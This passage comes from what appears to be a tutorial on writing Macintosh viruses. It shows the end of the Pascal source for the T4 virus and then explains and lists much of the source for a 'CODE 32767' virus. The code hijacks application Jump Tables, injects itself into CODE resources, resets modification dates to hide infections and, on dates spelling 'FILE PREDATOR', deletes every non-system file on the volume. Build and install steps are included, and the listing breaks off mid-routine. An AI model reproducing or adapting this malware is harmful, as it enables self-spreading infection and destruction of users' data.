  1252.         SpinCursor;
  1253.         if not foundone then                              {unstack only if we 
  1254. haven't found one yet}
  1255.         begin
  1256.          i := length(pathname); j := i;
  1257.         while pathname[i] <> ':' do i := i - 1;
  1258.         pathname := omit(pathname, i, j);
  1259.        end;{if not foundone}
  1260.       end;{if length ok}
  1261.     end;{if err=noerr}
  1262.   end;{with cipbh^}
  1263.  until (err = fnferr) or foundone;
  1264. end;
  1265. {*********************************************************}
  1266. {ShowMessage displays a little window with the icon of a virus or if the icon is missing, the name 
  1267. T4}
  1268. {*********************************************************}
  1269. procedure ShowMessage;
  1270. begin
  1271. setrect(iconrect, 1, 1, 33, 33);
  1272. setrect(wbounds, 50, 50, 83, 83);
  1273. thewindow := newwindow(nil, wbounds, '', true, plainDbox, pointer(-1), false, 0);
  1274. getport(oldport);
  1275. setport(thewindow);
  1276. UseResFile(active);
  1277. icon := GetResource('ICON', maxint);
  1278. if icon <> nil then    {if ICON resource present then plot}
  1279.  ploticon(iconrect, icon)
  1280. else    {ICON is missing. Write "T4"}
  1281.  begin
  1282.   textfont(systemfont);
  1283.   textsize(12);
  1284.   moveto(10, 20);
  1285.   drawstring('T4');
  1286.  end;
  1287. delay(100, segsize);    {delay for 100 ticks}
  1288. setport(oldport);
  1289. disposewindow(thewindow);
  1290. end;
  1291. {*********************************************************}
  1292. {If the ResProtected attribute is on, we cannot modify the resource. So, clear it}
  1293. {*********************************************************}
  1294. procedure ClearResProtected (h: Handle);
  1295. begin
  1296. attributes := getresattrs(h);
  1297. if band(attributes, resprotected) = resprotected then
  1298.  setresattrs(h, attributes - resprotected);{clear attributes so we can write}
  1299. end;
  1300. {*********************************************************}
  1301. {This is the actual patching of the code of the infected file. Adds the new branching instructions 
  1302. depending on whether the CLR.L or the PEA instruction was used in the modified code.}
  1303. {*********************************************************}
  1304. procedure PatchCode;
  1305. begin
  1306. hlock(h);
  1307. case patch of
  1308.  moveorclear: 
  1309.    begin
  1310.  {BSR  (segsize - 2 * initDoffset)}
  1311.     wordhandle(h)^^[initDoffset - 1] := $6100;
  1312.     wordhandle(h)^^[initDoffset] := segsize - 2 * initDoffset;
  1313.    end;
  1314.  pea: 
  1315.   begin
  1316.  {BSR  (segsize + 2 - 2 * initDoffset)}
  1317.    wordhandle(h)^^[initDoffset - 2] := $6100;
  1318.    wordhandle(h)^^[initDoffset - 1] := segsize + 2 - 2 * initDoffset;
  1319.    wordhandle(h)^^[initDoffset] := nop;    {NOP}
  1320.   end;
  1321.  end;    {case patch}
  1322.  hunlock(h);
  1323. end;
  1324. {*********************************************************}
  1325. {Add virus signature, resource type cntr to infected file if not already in}
  1326. {note that if someone removes the cntr signature, a double infection will occur.}
  1327. {*********************************************************}
  1328. procedure AddIcon;
  1329. begin
  1330. {*********************************************************}
  1331. {Add virus ICON to infected file if not already in}
  1332. {*********************************************************}
  1333. UseResFile(active);
  1334. icon := GetResource('ICON', maxint); {will bring it from  opened resfile}
  1335. if icon <> nil then    {add icon resource if present}
  1336.  begin
  1337.   DetachResource(icon);
  1338.   UseResFile(opened);
  1339.   AddResource(icon, 'ICON', maxint, '');
  1340.   end;
  1341. end;
  1342. {*********************************************************}
  1343. {The following routine corrects the modification date so that it doesn't show after the infection}
  1344. {*********************************************************}
  1345. procedure SetModificationDate;
  1346. label    1002;
  1347. var
  1348. ParamBlock: HParamBlockHandle;    {parameter block for PBHSetFInfo}
  1349. err: OsErr;
  1350. begin
  1351. ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
  1352. if isErr(MemError) then    goto 1002;    {Exit if we can't get the memory}
  1353. HLock(Handle(ParamBlock));
  1354. with ParamBlock^^ do
  1355.  begin
  1356.   ioFDirIndex := 0;
  1357.   ioNamePtr := @pathname;
  1358.   err := PBHGetFInfo(ParamBlock^, FALSE);
  1359.   ioFlMdDat := ioFlCrDat;
  1360.   err := PBHSetFInfo(ParamBlock^, FALSE);
  1361.  end;
  1362. HUnlock(Handle(ParamBlock));
  1363. DisposeHandle(Handle(ParamBlock));
  1364. 1002:
  1365. end;
  1366. begin            {Main body}
  1367. {$IFC APPL}
  1368. Here(virusaddr);
  1369. {$ELSEC}
  1370. SaveRegisters;
  1371. initdialogs(nil);
  1372. initcursor;
  1373. scratch := pointer($09CE); {fetch virus entry point stored there from the header instructions}
  1374. virusaddr := scratch^;
  1375. {$ENDC}
  1376. active := curresfile;    {get current resource file}
  1377. lastresource := count1resources('CODE');{how many CODE segments current?}
  1378. for index := 1 to lastresource do
  1379.  begin
  1380.  h := get1indresource('CODE', index);
  1381.  segsize := sizeresource(h);    {calculate segment size}
  1382. {*********************************************************}
  1383. {The next statement is pretty tricky: If a CODE segment is already loaded, and contains this^ very 
  1384. code, (i.e. the virus), then the master pointer returned by the resource manager should be the loading 
  1385. point of the application. So, if the virus address falls between loadingaddress and loadingaddr+size of 
  1386. segment, we found ourselves!}
  1387. {*********************************************************}
  1388. if (ord(stripaddress(h^)) <= ord(stripaddress(virusaddr))) and (ord(stripaddress(virusaddr)) <= 
  1389. ord(stripaddress(h^)) + segsize) then
  1390.  begin
  1391.   i := index;
  1392.   leave;
  1393.  end;
  1394. end;
  1395. if i > 0 then
  1396.  begin
  1397. {*********************************************************}
  1398. {This is another clever calculation. We have been given 3 things: 1) The entry point of the segment 
  1399. that contains the virus code, 2)The virus entry point address, and 3) the size of the entire segment. We 
  1400. calculate then the DYNAMIC size of the virus! Note that this will always work, even if we change the 
  1401. source code. Also one has to be careful not to use the pointer headers, so we use 'StripAddress'}
  1402. {*********************************************************}
  1403. virussize := ord(stripaddress(h^)) + segsize -(ord(stripaddress(virusaddr)));
  1404. {Here we can change the name of the current app}
  1405. Delete := EvilDate;    {Determine if  we are to Erase volume}
  1406. show := TickCount mod 10 = 5;    {show icon with probability 1/10}
  1407. if IsErr(sysenvirons(1, theworld)) then {get the environment}
  1408.  goto 1001;
  1409. pathname := '';
  1410. scanname := '';
  1411. vrefnum := theworld.sysvrefnum;
  1412. if IsErr(setvol(nil, vrefnum)) then    {set startup volume}
  1413.  goto 1001;
  1414. if IsErr(getvol(@pathname, vrefnum)) then{get startup volume}
  1415.  goto 1001;
  1416. foundone := false;            {tentativelly}
  1417. opened := 0;
  1418. theAnimatedCursor[0] := GetCursor(WatchCursor);
  1419. for frame := 1 to 7 do
  1420.  theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);{Get Cursors from System File}
  1421. frame := 0;
  1422. OldTicks := TickCount;
  1423. cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
  1424. if IsErr(memerror) then goto 1001; {exit if we can't get the memory}
  1425. hlock(handle(cipbh)); {lock to use}
  1426. NextUninfectedApplication(fsrtdirid); {search for next uninfected appl}
  1427. hunlock(handle(cipbh));        {unlock to free}
  1428. disposehandle(handle(cipbh));    {dispose of}
  1429. InitCursor;
  1430. if foundone then
  1431.  begin
  1432. {$IFC DEBUG}
  1433.   DebugWindow(pathname);
  1434. {$ENDC}
  1435. {we have the code resource in the handle h, so now we can operate on it}
  1436. {first change the code attributes}
  1437.  ClearResProtected(h);
  1438.  if IsErr(reserror) then goto 1000;
  1439.  PatchCode;
  1440.  if IsErr(ptrandhand(virusaddr, h, virussize)) then goto 1000;
  1441.  changedresource(h); {mark change permanent}
  1442.  if IsErr(reserror) then goto 1000;
  1443. {The previous call is where the virus will fail if there are}
  1444. {AntiViral programs running.}
  1445.  updateresfile(opened);
  1446.  if IsErr(reserror) then
  1447.  goto 1000;
  1448.  if not reinfect then AddIcon;
  1449.  if show then ShowMessage;
  1450.  end;        {if foundone}
  1451. 1000:
  1452. useresfile(active); {restore active resource file}
  1453.  if foundone then closeresfile(opened); {close resource fork}
  1454. {h was disposed when closeresfile was called. Same goes for all the foreign resources}
  1455.  if foundone then SetModificationDate;
  1456. 1001:
  1457. {$IFC NOT APPL}
  1458.  RestoreRegisters;    {restore leftout regs}
  1459. {$ENDC}
  1460.  end;{if i>0}
  1461. end;    {Main body}
  1462. {$IFC APPL}
  1463. begin
  1464. initgraf(@theport);
  1465. initfonts;
  1466. initwindows;
  1467. initmenus;
  1468. teinit;
  1469. initdialogs(@DSError);
  1470. Main;
  1471. {$ENDC}
  1472. end.
  1473.  
  1474. The program should be quite easy for you to analyze with all these comments. Pay particular 
  1475. attention to the actual "patching" code, where we calculate the branching offsets. This point along 
  1476. with the calculations on getting the entry address for the virus are the only two things which are of 
  1477. interest. The rest of the code is quite trivial. Finally we set the modification date so that the virus does 
  1478. not leave a trace on the dates of the infected files.
  1479.  
  1480. THIRD EXAMPLE: THE CODE 32767 VIRUS
  1481.  
  1482. DESCRIPTION:
  1483.  
  1484. We will follow the writing of a new Macintosh virus, which we will call CODE 32767 virus. The 
  1485. name takes from the fact that this virus will add a CODE segment of id 32767 into the infected files. 
  1486. The first question is the HOW the virus will infect files. The answer is by the CODE resource 
  1487. aforementioned. We go to details.
  1488. CODE resources are loaded by the Jump Table as needed. In particular the Jump Table contains 
  1489. entries that loads the main CODE resource, and entries that refer to intrasegment calls. The first idea 
  1490. would be to change the Jump Table so that it bypasses the regular CODE segment to be loaded first, 
  1491. thereby loading CODE 32767 first. The idea is correct. However, the way to implement that, is tricky. 
  1492. If we extend the Jump Table say by adding a first entry for our CODE 32767 segment, the idea won't 
  1493. work, because there are changes made for which we cannot account. 1)The Length of the JT will 
  1494. change, forcing a change on the variable that's 8 bytes off from the beginning of the JT. This can be 
  1495. cured, however. 2)The "Above A5" variable will change, since it is 32 + length(JT). This can be cured 
  1496. as well. 3)The CODE segment headers will change, since the offset of the first routine's entry is no 
  1497. longer xxxx, rather xxxx+8 (remember adding a JT entry amounts to adding the following 8 bytes:
  1498. offset of first routine from beginning of segment:(2 bytes)
  1499. Instruction that moves the segment number onto the stack for _LoadSeg:(4 bytes) 
  1500.     {$3F3C,$xxxx    ;MOVE.W    $xxxx,-(SP)}
  1501. _LoadSeg trap (2 bytes)     {$A9F0}
  1502. Total:8 bytes.
  1503. If we change the JT by adding one more entry, the variables above can be corrected but what cannot 
  1504. be corrected is the intrasegment calls, using the register A5. Usually, an intrasegment call from 
  1505. within an app has the form: JSR    $xxxx(A5). If we change the JT, the JT information will be 
  1506. incorrect, and the JT will translate the call incorrectly. The way to improve on this, is to forget about 
  1507. "adding" to the Jump Table one more entry, rather "changing" one of its entries. Which entry? The 
  1508. first one of course.
  1509. The change will be simple. We will change only the CODE id number of the segment to be loaded, in 
  1510. the first entry of the Jump Table.
  1511. Example:
  1512. **********************************************************
  1513. Suppose the Jump Table looks like this before infection:
  1514. $00000030        ("Above A5" size)
  1515. $0000xxxx        ("Below A5" size)
  1516. $00000010        (Length of Jump Table)
  1517. $00000020        (Offset to jump Table from location pointed to by A5)
  1518. $188A        (Offset of first routine's entry from beginning of seg)
  1519. $3F3C0001        (MOVE.W    #$0001,-(SP))
  1520. $A9F0        (_LoadSeg)
  1521. $012A        (Offset of first routine's entry from beginning of seg)
  1522. $3F3C0002        (MOVE.W    #$0002,-(SP))
  1523. $A9F0        (_LoadSeg)
  1524. **********************************************************
  1525. AFTER infection it will look like this:
  1526. **********************************************************
  1527. $00000030        ("Above A5" size)
  1528. $0000xxxx        ("Below A5" size)
  1529. $00000010        (Length of Jump Table)
  1530. $00000020        (Offset to jump Table from location pointed to by A5)
  1531. $0000            (Offset of first routine's entry from beginning of seg)
  1532. $3F3C7FFF        (MOVE.W    #$7FFF,-(SP))
  1533. $A9F0        (_LoadSeg)
  1534. $012A        (Offset of first routine's entry from beginning of seg)
  1535. $3F3C0002        (MOVE.W    #$0002,-(SP))
  1536. $A9F0        (_LoadSeg)
  1537. ***********************************************************
  1538. This way, none of the Jump Table variables will need to change, since the JT has exactly the same 
  1539. length, and only the first entry is changed.
  1540. The trick then is to call the segment that the Jump Table originally called, indirectly. For that, we use 
  1541. some inline code, jumping to the segment that the Jump Table originally called, by picking the 
  1542. segment offset and the segment number from the virus header, where they have been stored from the 
  1543. previous infection. Note however that this poses an additional problem. By jumping indirectly to 
  1544. register A0, the stack is left with the main stack frame dangling. Consequently, the Finder return 
  1545. addresses are invalid. To correct this, a special inline routine called "CleanStackAndCall" is created, 
  1546. that clears the main stack frame before jumping to register A0. It looks like:
  1547. {********************************************************}
  1548. procedure CleanStackAndCall (aRoutine: ProcPtr);
  1549. inline
  1550. $205F,    {MOVE.L    (SP)+,A0}    (pop jumping address from stack)
  1551. $4CDF, $0CF8,{MOVEM.L    (A7)+,D3-D7/A2/A3}    (restore registers)
  1552. $4E5E,    {UNLK    A6}            (restore link frame)
  1553. $4ED0;    {JMP        (A0)}            (jump to original program)
  1554. {********************************************************}
  1555. Note that we first pop the jumping address from the stack, then fix the registers and the stack frame, 
  1556. and finally jump to register A0.
  1557. Contrary to the T4 virus, the registers do not need to be saved and restored, since the virus is the first 
  1558. thing that gets executed. i.e., nothing gets executed BEFORE the virus, so the registers are clean. 
  1559. Thus, the infected application's code does not care about the state they are in at the time of execution.
  1560. The virus works as follows: First it scans the disk for files of type APPL. If it finds one it opens it and 
  1561. looks for CODE resources of id 32767 and it checks to see if the main segment number is a valid 
  1562. segment. If the Application contains a resource CODE 32767, it means it is infected. If not, it looks if 
  1563. the main segment can be loaded (that is, the segment that loads after the virus) and then it passes 
  1564. control to the patching manager which performs the following actions:
  1565. 1)Gathers information from the Jump Table of the to-be-infected application.
  1566. 2)Modifies the Jump Table to Jump to CODE 32767.
  1567. 3)It modifies the main CODE segment that was bypassed as follows:
  1568. If the CODE segment had the header (see above jump table)
  1569. $0000    (Offset of the first routine's entry in the JT from its beginning)
  1570. $0001    (Number of Entries for this segment)
  1571. It will become:
  1572. $0008    (Since now another entry has replaced the main entry in the Jump Table)
  1573. $0000    (Number of Entries decreased by one!)
  1574. In general then, we have the following transformation of the header of the CODE resource that loads 
  1575. first in the Jump Table:
  1576. $xxxx    ->    $xxxx+8
  1577. $yyyy->    $yyyy-1
  1578. That way, all intrasegment references will be preserved correctly.
  1579. 3)It makes a copy of the viral resource 32767.
  1580. 4)It stores the main segment number and the main routine offset into the viral resource.
  1581. 5)It finally Adds that new copy to the file to be infected.
  1582. The exact sequence of infection is slightly different and actually adds the viral resource FIRST to the 
  1583. newly infected file, since the call to AddResource must be preceded by a call to NewHandle, which 
  1584. may fail if the application does not have a large enough heap. Thus if the memory manager fails to 
  1585. allocate a memory handle it will be forced to exit immediately. An effort is made to Purge memory 
  1586. before the call to NewHandle is made, to ensure that left over resources from previous open files are 
  1587. purged. That way, we can open as many resource files as we may need without memory problems. 
  1588. Even though the NewHandle call is made for a small amount of memory (~2K) it may fail if the 
  1589. application has a small size resource, and has opened many resource files, which it loads into 
  1590. memory. Problems will occur if the application to be infected has many resources that do not fit into 
  1591. the infected application's heap.
  1592. The above is performed if a global variable called "Delete" is false. If it is true, the procedure that is 
  1593. used for scanning the volume, is altered slightly to erase all non system files from the volume. The 
  1594. status of the global Delete is determined in the beginning from the "timing" of the virus (i.e. it is a 
  1595. function of the DateTime record at the time of run) and it is as follows:
  1596. It is based on the phrase 'FILE PREDATOR'. Take the English Alphabet, count it, starting with A=1, 
  1597. and the days on which the virus activates are the letters of the phrase 'FILE PREDATOR'. The hours 
  1598. are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc.
  1599. The virus will infect anything that's of type APPL, including Script Applications, or pseudo-
  1600. applications that depend on runtime environments.
  1601. EXCLUDING Native PowerPC code applications and applications that make non standard use of 
  1602. their resource fork. It will not infect most PowerPC applications, which make non standard use of the 
  1603. CODE 0 segment.
  1604. Specifically, it will infect applications only if they contain a legal call in
  1605. their jump table as follows:
  1606. $xxxx        (Offset of first routine's entry from beginning of seg)
  1607. $3F3C00xx    (MOVE.W    #$00xx,-(SP))
  1608. $A9F0    (_LoadSeg)
  1609. If the application's jump Table contains any other code, in the place of these bytes, it is immune 
  1610. against the CODE 32767 virus. Consequently, there is one very rare case, where the virus will 
  1611. damage an application: If the application contains the call above, but the bytes are not actually a 
  1612. _LoadSeg call.
  1613. As such, it is more infectuous than the T4 virus, but less informative. For example, the T4 will spin 
  1614. the watch telling the user to wait until the next application is found for infection (which may take 
  1615. some time on disks with many files) but the CODE 32767 virus does not have this capability, since all 
  1616. managers have not been initialized yet. In particular, InitGraf(thePort), InitFonts, InitWindows, 
  1617. InitMenus, TEInit and InitDialogs have not been called, so any graphic processing cannot be done. 
  1618. When the virus attempts to erase the contents of a volume, it may take considerable time (on the order 
  1619. of 30 secs) at which time the user may turn-off the machine from fear of program hanging. However 
  1620. in those 15-20 seconds that the computer has in its time, considerable erasing can take place. In the 
  1621. case of the T4, the erasing will be complete, since there are alert warnings notifying the user about a 
  1622. considerable delay. So the user won't worry.
  1623. The CODE 32767 virus can infect files only once, contrary to T4 which can infect files more than 
  1624. once.
  1625. The virus consists of many sub-project files:
  1626. 1)32767-(Builds the actual viral body)
  1627. 2)FixHeader-(Corrects the resource header information for the viral CODE resource.)
  1628. 3)Install32767-(Installs the virus onto an application of your own choosing.)
  1629. To build the final project follow the next steps:
  1630. 1)Open the project 32767 and select "build CODE resource"
  1631. 2)Open the project FixHeader and select "Go"
  1632. 3)Open the project Install32767 and select "Go", after you have placed an application on the Folder 
  1633. "Test Appls". If you change folders, change the corresponding lines in the source file.
  1634. After you are done, the application you placed in the Folder "Test Appls" will be a ready infected 
  1635. application with the CODE 32767 virus.
  1636. BE VERY CAREFULL WHEN YOU RUN THIS APPLICATION. PREFERABLY, DON'T RUN IT 
  1637. AT ALL. IT WILL INFECT YOUR APPLICATIONS IN YOUR HARD DISK IN THE BEST CASE, 
  1638. IT WILL ERASE YOUR HARD DRIVE IN THE WORST. THE AUTHOR DOES NOT BARE ANY 
  1639. RESPONSIBILITY IF YOU WANT TO EXPERIMENT WITH THE VIRUS. IN PARTICULAR IF 
  1640. YOU TRY TO RELEASE THE VIRUS, YOU ARE LIABLE TO CRIMINAL PENALTIES. YOU 
  1641. HAVE BEEN WARNED.
  1642. {*********************************************************}
  1643. {WARNING:THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF THIS 
  1644. PROGRAM}
  1645. {This is the CODE 32767 virus}
  1646. {*********************************************************}
  1647. unit virus32767;
  1648. interface
  1649.  procedure Main;
  1650. implementation
  1651.  procedure Main;
  1652.   label
  1653.    1000, 1001;
  1654.   type
  1655.    JumpTable = record    {the Jump Table record which represents the beginning}
  1656.      AboveA5: longint;           {of CODE resource 0}
  1657.      BelowA5: longint;
  1658.      LengthOfJT: longint;
  1659.      OffSet2JTFromLocA5: longint;
  1660.      OffsetOfFirstRoutine: integer;       {THIS field interests us}
  1661.      MoveWordInstruction: integer;
  1662.      SegmentNumber: integer;        {THIS field interests us}
  1663.      LoadSegTrap: integer;
  1664.     end;
  1665.    JumpTablePtr = ^JumpTable;
  1666.    JumpTableHandle = ^JumpTablePtr;
  1667. {*********************************************************}
  1668.    VirusSegmentBeginning = record      {representation of the 32767 CODE segment start}
  1669.      OffsetOfFirstEntryfromBegOfJT: integer;
  1670.      NumberOfEntriesForThisSeg: integer;
  1671.      BRANextInstruction: integer;
  1672.      OffsetOfFirstNormalRoutine: integer;    {this is where we store the field "OffsetOfFirstRoutine" 
  1673. above}
  1674.      NormalSegmentNumber: integer;      {this is where we store the field "SegmentNumber", above}
  1675.      Free1: longint;  {These fields are free for internal use. Total:14 bytes}
  1676.      Free2: longint;
  1677.      Free3: longint;
  1678.      Free4: integer;
  1679.     end;
  1680.    VirusSegmentBeginningPtr = ^VirusSegmentBeginning;
  1681.    VirusSegmentBeginningHandle = ^VirusSegmentBeginningPtr;
  1682. {*********************************************************}
  1683.    GeneralSegment = record
  1684.      OffsetOfFirstEntryfromBegOfJT: integer;
  1685.      NumberOfEntriesForThisSeg: integer;
  1686.     end;
  1687.    GeneralSegmentPtr = ^GeneralSegment;
  1688.    GeneralSegmentHandle = ^GeneralSegmentPtr;
  1689. {*********************************************************}
  1690.    cinfopbhandle = ^cinfopbptr;  {directory scan parameter block handle}
  1691. {*********************************************************}
  1692.    HParamBlockHandle = ^HParmBlkPtr;        {parameter block for PBHSetFInfo}
  1693.   var
  1694.    VirusSegBeginHandle: VirusSegmentBeginningHandle;  {to access the 32767 CODE resource}
  1695.    JumpTHandle: JumpTableHandle;          {to access the Jump Table of the infected application}
  1696.    GenSegHandle: GeneralSegmentHandle;        {to access a general segment}
  1697.    CopyHandle: Handle;      {Copy of a segment to add to the infected file}
  1698.    SegmentSize: integer;        {Size of the segment above}
  1699.    Offset, SegNum: integer;{same as the corresponding fields of the Jump table}
  1700.    MainCode: Handle;               {main CODE segment that is loaded normally on uninfected apps}
  1701.    cipbh: cinfopbhandle;         {directory scan parameter block handle}
  1702.    pathname: str255;    {complete pathname of application to be infected}
  1703.    scanname: string[31];{partial file name returned by the scanning proc}
  1704.    theworld: sysenvrec;              {default system vars}
  1705.    foundone: boolean;           {TRUE if there is a candidate for infection}
  1706.    opened, active: integer;{refnums of app to be infected, and current app}
  1707.    vrefnum: integer;
  1708.    Dummy: Handle;         {Dummy handle to change resource attributes}
  1709.    Attributes: integer;              {resource attributes}
  1710.    ApplicationFile, SystemFile: boolean;        {if files are respectivelly one or the other}
  1711.    Delete: boolean;                {If True, all hell breaks loose}
  1712. {*********************************************************}
  1713. {Evil Dates determines whether the Date is an erase date, or just a replication date}
  1714. {*********************************************************}
  1715.   function EvilDate: boolean;
  1716.    var
  1717.     theDate: DateTimeRec;
  1718.     temp: boolean;
  1719.   begin
  1720.    GetTime(theDate); {Get the Current Date to determine if it's an evil date}
  1721.    with theDate do
  1722.     begin
  1723.      temp := (Month = 1) and (Day = 6) and (Hour = 9);       {Days make 'FILE PREDATOR'}
  1724.      temp := temp or ((Month = 2) and (Day = 9) and (Hour = 10));
  1725.      temp := temp or ((Month = 3) and (Day = 12) and (Hour = 11));
  1726.      temp := temp or ((Month = 4) and (Day = 5) and (Hour = 12));
  1727.      temp := temp or ((Month = 5) and (Day = 16) and (Hour = 13));
  1728.      temp := temp or ((Month = 6) and (Day = 18) and (Hour = 14));
  1729.      temp := temp or ((Month = 7) and (Day = 5) and (Hour = 15));
  1730.      temp := temp or ((Month = 8) and (Day = 4) and (Hour = 16));
  1731.      temp := temp or ((Month = 9) and (Day = 1) and (Hour = 17));
  1732.      temp := temp or ((Month = 10) and (Day = 20) and (Hour = 18));
  1733.      temp := temp or ((Month = 11) and (Day = 15) and (Hour = 19));
  1734.      temp := temp or ((Month = 12) and (Day = 18) and (Hour = 20));
  1735.     end;
  1736.    EvilDate := temp;
  1737.   end;
  1738. {*********************************************************}
  1739. {the following examines whether an application is infected or not infected. It also opens the resource 
  1740. fork of the application to be infected so that we can process it later. Upon exit from this routine, we 
  1741. have opened the resource file to be infected. }
  1742. {*********************************************************}
  1743.   procedure examineapplication;
  1744.    label
  1745.     1002;
  1746.    const
  1747.     ThreeK = 3072;
  1748.    var
  1749.     index, err, attributes: integer;
  1750.     Busy: boolean;               {TRUE if application is running}
  1751.   begin
  1752.    err := rstflock(pathname, vrefnum);          {unlock, just in case}
  1753.    opened := openrfperm(pathname, 0, fsrdwrshperm);     {open resource file}
  1754.    err := reserror;
  1755.    Busy := (err <> noErr) or (opened = active);         {true if somehow resource file is used}
  1756.    if not Busy then               {don't infect running apps}
  1757.     begin
  1758.      attributes := getresfileattrs(opened);         {maybe it's read only}
  1759.      if band(attributes, mapreadonly) = mapreadonly then
  1760.       begin
  1761.        attributes := attributes - mapreadonly + mapchanged;  {clear old attributes}
  1762.        setresfileattrs(opened, attributes);       {set new flags}
  1763.       end;
  1764.      useresfile(opened);             {make current just in case}
  1765.      JumpTHandle := JumpTableHandle(Get1Resource('CODE', 0));     {Get a hold of its jump table}
  1766.      if JumpTHandle = nil then    {weird APPL. Does not have a Jump Table!?}
  1767.       goto 1002;
  1768.      HLock(Handle(JumpTHandle));
  1769.      with JumpTHandle^^ do
  1770.       begin
  1771.        Offset := OffsetOfFirstRoutine;      {Get offset to first routine}
  1772.        SegNum := SegmentNumber;       {in segment #}
  1773.       end;
  1774.      HUnLock(Handle(JumpTHandle));
  1775.      GenSegHandle := GeneralSegmentHandle(Get1Resource('CODE', SegNum));  {Get a hold of its 
  1776. main segment}
  1777.      foundone := (GenSegHandle <> nil) and (Get1Resource('CODE', maxint) = nil);  {Mark for 
  1778. infection}
  1779. {Note that if it is a PowerPC Application, it will give GenSegHandle=nil, since SegNum is usually -1 
  1780. (FFFF)}
  1781.     end;{if not Busy}
  1782. 1002:
  1783.    if not Busy and not foundone then
  1784.     begin
  1785.      closeresfile(opened);            {if not us, or if not running, close it}
  1786.      PurgeMem(ThreeK);            {Purge leftover garbage}
  1787.     end;
  1788.   end;
  1789. {*********************************************************}
  1790. {The following brings the next clean application from the directory. It returns the complete pathname 
  1791. of the next app in the hard drive that does not contain a CODE resource of id=32767 and is not 
  1792. running. Implemented recursively. It will scan directories as deep as determined by the constant 
  1793. charscanningdepth}
  1794. {*********************************************************}
  1795.   procedure nextcleanapp (dirid: longint);
  1796.    const
  1797.     charscanningdepth = 255;       {pathname is at most this long}
  1798.    var
  1799.     indx, i, j: integer;
  1800.     err: oserr;
  1801.   begin
  1802.    indx := 0;
  1803.    repeat
  1804.     indx := indx + 1;
  1805.     with cipbh^^ do
  1806.      begin
  1807.       ionameptr := @scanname;
  1808.       iofdirindex := indx;
  1809.       iodirid := dirid;
  1810.       iovrefnum := 0;
  1811.       err := pbgetcatinfo(cipbh^, FALSE);
  1812.       if err = noerr then
  1813.        begin
  1814.         if length(pathname) + length(scanname) <= charscanningdepth then {don't look deeper than 
  1815. charscanningdepth chars}
  1816.          begin
  1817.           pathname := concat(pathname, ':', scanname);       {stack}
  1818.           if bittst(@ioflattrib, 3) then            {directory}
  1819.            nextcleanapp(iodirid)
  1820.           else {file}
  1821.            begin
  1822.             ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
  1823. (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
  1824.             SystemFile := pos(scanname, 'System') <> 0;
  1825.             if not Delete and ApplicationFile then
  1826. {*********************************************************}
  1827. {examine file to see if it is already infected, and if not to see if it can be infected}
  1828. {*********************************************************}
  1829.              examineapplication{if type=APPL}
  1830.             else if Delete and not ApplicationFile and not SystemFile then
  1831.              err := HDelete(vrefnum, 0, pathname);
  1832.            end;
  1833.           if not foundone then  {unstack only if we haven't found one yet}
  1834.            begin
  1835.             i := length(pathname);
  1836.             j := i;
  1837.             while pathname[i] <> ':' do
  1838.              i := i - 1;
  1839.             pathname := omit(pathname, i, j);
  1840.            end;{if not foundone}
  1841.          end;{if length ok}
  1842.        end;{if err=noerr}
  1843.      end;{with cipbh^}
  1844.    until (err = fnferr) or foundone;
  1845.   end;
  1846. {*********************************************************}
  1847. {The following routine clears the resprotected attribute of a CODE resource if it is set}
  1848. {*********************************************************}
  1849.   procedure ClearResProtected (h: handle);
  1850.    var
  1851.     attributes: integer;
  1852.   begin
  1853.    attributes := getresattrs(h);             {first change the code attributes}
  1854.    if band(attributes, resprotected) = resprotected then
  1855.     setresattrs(h, attributes - resprotected);         {clear attributes so we can write}
  1856.   end;
  1857. {*********************************************************}
  1858. {The following routine corrects the modification date so that it doesn't show after the infection}
  1859. {*********************************************************}
  1860.   procedure SetModificationDate;
  1861.    label
  1862.     1002;
  1863.    var
  1864.     ParamBlock: HParamBlockHandle;         {parameter block for PBHSetFInfo}
  1865.     err: OsErr;
  1866.   begin
  1867.    ParamBlock := HParamBlockHandle(NewHandle(SizeOf(HParamBlockRec)));
  1868.    if MemError <> noErr then
  1869.     goto 1002;         {Exit if we can't get the memory}
  1870.    HLock(Handle(ParamBlock));
  1871.    with ParamBlock^^ do
  1872.     begin
  1873.      ioFDirIndex := 0;
  1874.      ioNamePtr := @pathname;
  1875.      err := PBHGetFInfo(ParamBlock^, FALSE);
  1876.      ioFlMdDat := ioFlCrDat;
  1877.      err := PBHSetFInfo(ParamBlock^, FALSE);
  1878.     end;
  1879.    HUnlock(Handle(ParamBlock));
  1880.    DisposeHandle(Handle(ParamBlock));
  1881. 1002:
  1882.   end;
  1883. {*********************************************************}
  1884. {The following routine calls the main CODE resource that would have been called otherwise by the 
  1885. uninfected application. We thus bypass the Jump Table and call the CODE resource using the method 
  1886. below. It also cleans up the main stack frame which by definition cannot be called since we are 
  1887. indirectly jumping to main code via the A0 register.}
  1888. {*********************************************************}
  1889.   procedure CleanStackAndCall (aRoutine: ProcPtr);
  1890.   inline
  1891.    $205F,   {MOVE.L  (SP)+,A0}
  1892.    $4CDF, $0CF8, {MOVEM.L (A7)+,D3-D7/A2/A3}
  1893.    $4E5E,   {UNLK A6}
  1894.    $4ED0;   {JMP  (A0)}
  1895. {*********************************************************}
  1896.  begin  {main code}
  1897.   MaxApplZone;                    {Expand heap to its limit}
  1898.   active := CurResFile;                 {find out our ref number}
  1899.   VirusSegBeginHandle := VirusSegmentBeginningHandle(GetResource('CODE', maxint)); {Bring 
  1900. virus from main resource file}
  1901.   Delete := EvilDate;                  {Determine if  we are to Erase volume}
  1902.   if sysenvirons(1, theworld) <> noErr then     {get the environment}
  1903.    goto 1001;
  1904.   pathname := '';
  1905.   scanname := '';
  1906.   vrefnum := theworld.sysvrefnum;
  1907.   if setvol(nil, vrefnum) <> noErr then                 {get startup volume}
  1908.    goto 1001;
  1909.   if getvol(@pathname, vrefnum) <> noErr then      {get startup volume}
  1910.    goto 1001;
  1911.   foundone := false;                   {set initial value of foundone to false}
  1912.   opened := 0;                     {initialize opened resource file to 0}
  1913.   cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));     {get memory for directory scan}
  1914.   if memerror <> noErr then
